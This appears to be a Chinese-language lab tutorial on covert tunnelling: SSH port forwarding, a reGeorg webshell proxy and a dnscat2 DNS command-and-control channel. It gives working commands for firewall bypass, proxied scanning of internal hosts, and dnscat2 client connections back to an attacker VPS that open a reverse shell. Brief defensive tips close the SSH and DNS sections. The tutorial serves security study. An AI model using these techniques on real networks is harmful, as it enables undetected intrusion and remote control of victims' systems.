应用层中的隧道技术主要利用软件提供的端口来发送数据,常用的隧道协议有 SSH、HTTP/HTTPS 和 DNS
0x01 SSH协议
在内网中,几乎所有的linux/unix服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其它网络建立的隧道。攻击者通过ssh端口隧道突破防火墙后可以建立一些之前无法建立的TCP连接。
一个普通的SSH命令如下:
1 | ssh root@192.168.1.1 |
参见命令选项如下:
1 | 常见命令如下: |
其实不论是-L
还是 -R
他们的标准格式都是ssh -g -L/-R 转发到的ip:转发到的端口:目标ip:目标端口
前面的转发到的ip可以省略,-L
默认就是主机,-R
默认就是ssh连接的主机且只有主机本机可以连接如127.0.0.1
这种地址(直接ip加端口无效,外部就无法直接使用这个隧道了)
1、本地转发
实验环境:
1 | 攻击主机 vps(kali):192.168.152.152 |
- 首先我们给win7、winserve安装一个openssh,会自动开启22端口。
- 随后给winserve开启远程桌面服务
- 在kali中使用如下命令:
1
ssh -CfNg -L 1222:1.1.1.3:3389 win7@192.168.152.7
- 随后会要我们输入win7的密码,过后我们会发现kali在监听自己的
1222
端口了。 - 我们使用rdesktop 去开启我们的远程桌面
rdesktop 0.0.0.0:1222
我们来分析一下kali中执行的命令:
1 | ssh -CfNg -L 1222(vps监听端口):1.1.1.3(目标ip):3389(目标端口) win7@192.168.152.7 |
简单说说-L -R -D
-L
:就是在本地启动端口,把本地端口数据转发到远端。如上面例子,把本地端口转发给1.1.1.3:3389-R
:让远端启动端口,把远端端口数据转发到本地。(待实践)- D
: 如在 HostA 的本地 1080 端口启动一个 socks5 服务,通过本地 socks5 代理的数据会通过 ssh 链接先发送给 HostB,再从 HostB 转发送给远程主机:1
HostA$ ssh -D localhost:1080 HostB
那么在 HostA 上面,浏览器配置 socks5 代理为 127.0.0.1:1080,看网页时就能把数据通过 HostB 代理出去,类似 ss/ssr 版本,只不过用 ssh 来实现。
【参考链接】
2、远程转发
其实这里就是使用我们上面提到的 -R
参数。还是上面的环境,这次我们利用远程转发来实现。
我们的1.1.1.3(winserve2012)是可以访问kali的,我们利用这一点让目标主机winserve主动去连接kali。(应用程序的客户端和 SSH 的服务器位于 SSH 隧道的同一侧,而应用程序的服务器和 SSH 的客户端位于 SSH 隧道的另一侧。使用的是远程转发)
我们在winserve中使用如下命令:
1 | ssh -gR 3307:1.1.1.3:3389 mayi@192.168.152.152 |
这里我只用了 -gR
也可以像之前那样加 -CfNg
本地转发是将远程主机的某个端口数据转发到本地机器的指定端口。而远程转发则是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh隧道传输到本地端口。
3、动态转发
也就是我们前面提到的 -D
参数。
如我们在kali中使用如下命令:
1 | ssh -CfNg -D 8888 win7@192.168.152.7 |
随后我们设置浏览器代理走本机的8888端口,它就会相当于在win7中访问的数据,我们利用这一点访问1.1.1.1
防火墙管理界面。
4、预防SSH隧道攻击的思路
在系统中配置SSH中配置远程管理白名单,在ACL(访问控制列表)中限制只有特定的IP地址才能连接SSH
0x02 HTTP/HTTPS 协议
通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。
适用于内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。
推荐Neo-reGeorg、reGeorg、abptts 三款工具。
接下来我们使用regeorg做实验:【下载地址】
- 用centos做一个边界web服务器(外ip:192.168.152.150 内ip:1.1.1.100),然后我们将
tunnel.nosocket.php
上传到网站根目录。 - 在kali中访问
http://192.168.152.150/tunnel.nosocket.php
- 我们在kali中使用命令来开启连接代理配置。
1
python reGeorgSocksProxy.py -u http://192.168.152.150/tunnel.nosocket.php -p 5555
- 使用
netstat -antlp | grep '5555'
发现已经开始监听了。 - 接着我们在kali中使用
proxychains
代理修改为如下:1
vim /etc/proxychains.conf
保存后直接使用如:proxychains nmap 1.1.1.1
得到如下效果
0x03 DNS协议
DNS协议是一种请求/应答协议,也是一种可以用于应用层的隧道技术。我们知道,一方面在网络世界中DNS是一种不可或缺的服务,而另一方面DNS本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,这也为DNS成为隐蔽通信创造了条件。
1、查看DNS的连通性
首先我们需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是测试DNS的连通性。
- 查看当前内部存在的域名及ip
1
cat /etc/resolv.conf | grep -v '^#'
- 查很快1 是否与内部dns通信
1
2nslookup 域名
注意这里如果是localdomain(通过dhcp方式获得的ip,上网方式为nat就会出现这种情况)不会返回结果,我们接着下一步测试即可 - 查询是否可以通过内部DNS服务器解析外部域名
1
nslookup www.baidu.com
可以看到,能够通过内部dns服务器解析外部域名。这就意味着我们可以使用DNS隧道实现隐蔽通信。
2、dnscat2
dnscat2是一款开源软件,他使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份认证。dnscat2的客户端是用C语言编写的,服务端是用ruby语言编写的。严格来讲dnscat2是一个命令与控制工具。
(1)、dnscat2隧道的两种模式
- 直连模式:客户端直接向指定ip地址的dns服务器发起dns解析请求。
- 中继模式:dns经过互联网的迭代解析,最后指向我们的DNS服务器。与直连模式相比,中继模式的速度较慢。
如果目标内网放行所有的DNS请求,那么dnscat2会自动使用直连模式,在请求日志中所有的域名都是以dnscat开头,所以防火墙可以很容易将直连模式检测出来。
如果目标内网对DNS有限制,我们可以使用dnscat2的中继模式,他会使用中继模式申请一个域名,并将允许dnscat2服务端的服务器指定为受信任的DNS服务器。
(2)、dnscat2服务端的安装
我们在vps服务器上安装dnscat2,因为是用ruby写的所以需要我们有ruby的允许环境,还需要gem依赖包。
- 准备工作,安装ruby、gem等
1
2
3
4apt install gem
apt install ruby-dev
apt install libpq-dev
apt install ruby-bundler - 具体的安装,最新版dnscat2 需要
ruby >= 2.3.0
1
2
3
4$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
(3)、服务端的安装
Linux服务端安装
1 | $ git clone https://github.com/iagox86/dnscat2.git |
window服务端安装
注意:自己编译只能用VS 2008
或者我们直接去release下载:【下载地址】
直连模式
直连模式是客户端直接向指定的ip地址dns服务器发起dns解析请求,所有我们还可以不需要自己申请域名。
服务端运行
我们在vps上(自己的虚拟kali)运行
1
ruby dnscat2.rb --dns host=0.0.0.0,port=53531 --secret=qwer1234
我们在客户机中执行
1
./dnscat --dns server=192.168.152.152,port=53531 --secret=qwer1234
回显看到session被建立的字样,表示连接成功。
其实,我们在服务端监听的时候可以不设置
--secret
只要对应的客服端连接时也不加即可。
中继模式
直连模式虽然快,但是容易被发现和拦截,因为它所有的域名都是以dnscat2
开头。所以我们就可以用到我们的中继模(本人无)。
首先域名服务器需要添加一个A记录,将域名指向一个ip。然后还需要一个NS记录,将子域名指定其他DNS服务器解析。
服务端
1 | sudo ruby./dnscat2.rb abc.com --secret=123456 |
客户端
1 | dnscat --secret=123456 abc.com |
具体的我也没实践,毕竟没有dns域名。
使用
作为一款C&C工具,在Client端连接上了以后,可以通过Server端执行一些命令对Client进行控制。
DNSCAT使用window这个概念来标识不同的client,在服务端使用windows命令可以列举当前已连接上来的客户端。(当然session也还是可以列出的)
1 | dnscat2> session |
其中0是server端主控,1是我们刚才运行连接上来的客户端。
使用session -i id,进入到某个连接上来的client的session中,我们使用help命令,看一下dnscat支持的功能:
使用shell命令创建一个反弹shell。这个反弹shell是创建了另外一个会话,我们需要使用ctrl + z
退出当前会话,然后进入对应的反弹shell会话中,或者直接 session -i id
到指定的会话中去。
然后还有其它很多命令,都可以去尝试一下。如upload
、download
等。
0x04 预防DNS隧道攻击的办法
防御隧道攻击并非易事,特别是防御DNS隧道攻击。以下是常见的预防DNS隧道办法。
- 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的dns服务器通信。
- 没有人会将txt作为解析请求发送给DNS,但是dnscat2和邮件服务器/网关会这样,所以我们可以将邮件服务器/网关列入白名单然后阻止其它传入传出流量中的txt请求。
- 跟踪用户的DNS查询次数,如果达到阈值就生成相应报告。